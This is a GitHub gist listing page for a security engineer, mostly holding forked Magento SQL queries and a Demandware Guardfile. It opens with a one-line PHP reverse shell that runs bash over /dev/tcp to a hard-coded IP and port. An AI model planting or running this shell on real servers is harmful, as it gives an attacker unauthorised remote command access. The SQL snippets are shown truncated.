Casey Becking caseybecking

Security Engineer

caseybecking / shell.php

Created June 12, 2018 16:12 — forked from rshipp/shell.php

A tiny PHP/bash reverse shell.

	<?php
	exec("/bin/bash -c 'bash -i >& /dev/tcp/10.0.0.10/1234 0>&1'");

caseybecking / magento-backup.sh

Last active August 31, 2015 00:11 — forked from steverobbins/magento-backup.sh

caseybecking / table-sizes.sql

Last active August 29, 2015 14:26 — forked from steverobbins/table-sizes.sql

	SET @DATABASE = 'prod';

	SELECT CONCAT(table_schema, '.', table_name),
	CONCAT(ROUND(table_rows / 1000000, 2), 'M') rows,
	CONCAT(ROUND(data_length / ( 1024 * 1024 * 1024 ), 2), 'G') DATA,
	CONCAT(ROUND(index_length / ( 1024 * 1024 * 1024 ), 2), 'G') idx,
	CONCAT(ROUND(( data_length + index_length ) / ( 1024 * 1024 * 1024 ), 2), 'G') total_size,
	ROUND(index_length / data_length, 2) idxfrac
	FROM information_schema.TABLES
	WHERE `information_schema`.TABLES.table_schema = @DATABASE

caseybecking / volcom-products-ordered.sql

Last active August 29, 2015 14:24 — forked from steverobbins/volcom-products-ordered.sql

	-- This takes about 30 seconds, but will make the next query a billion times faster
	alter table sales_flat_order_item add index (product_id);

	-- This takes about 5 seconds with the index added
	select
	cpe.entity_id product_id,
	cpe.sku,
	at_style_number.value style_number,
	cpe.created_at product_created_date,
	sum(sfoi.qty_ordered) total_ordered,

caseybecking / magento-backup-db.sh

Last active August 29, 2015 14:18 — forked from steverobbins/magento-backup-db.sh

caseybecking / magento-vistor-logs.sql

Last active August 29, 2015 14:18 — forked from steverobbins/magento-vistor-logs.sql

	-- Make sure to uncomment one of the where conditions below or your query will take forever
	select
	lu.visit_time,
	inet_ntoa(lvi.server_addr) server_addr,
	inet_ntoa(lvi.remote_addr) remote_addr,
	lui.url,
	lc.customer_id,
	ce.email,
	cs.name store,
	lvi.http_user_agent,

caseybecking / Guardfile

Created March 6, 2012 23:12

Demandware: Webdav

	require 'guard/guard'

	module ::Guard
	class Frontend < ::Guard::Guard
	end
	end

	settings = {
	dest: 'https://dev02.web.thelimited.demandware.net//on/demandware.servlet/webdav/Sites/Cartridges/version1/'
	}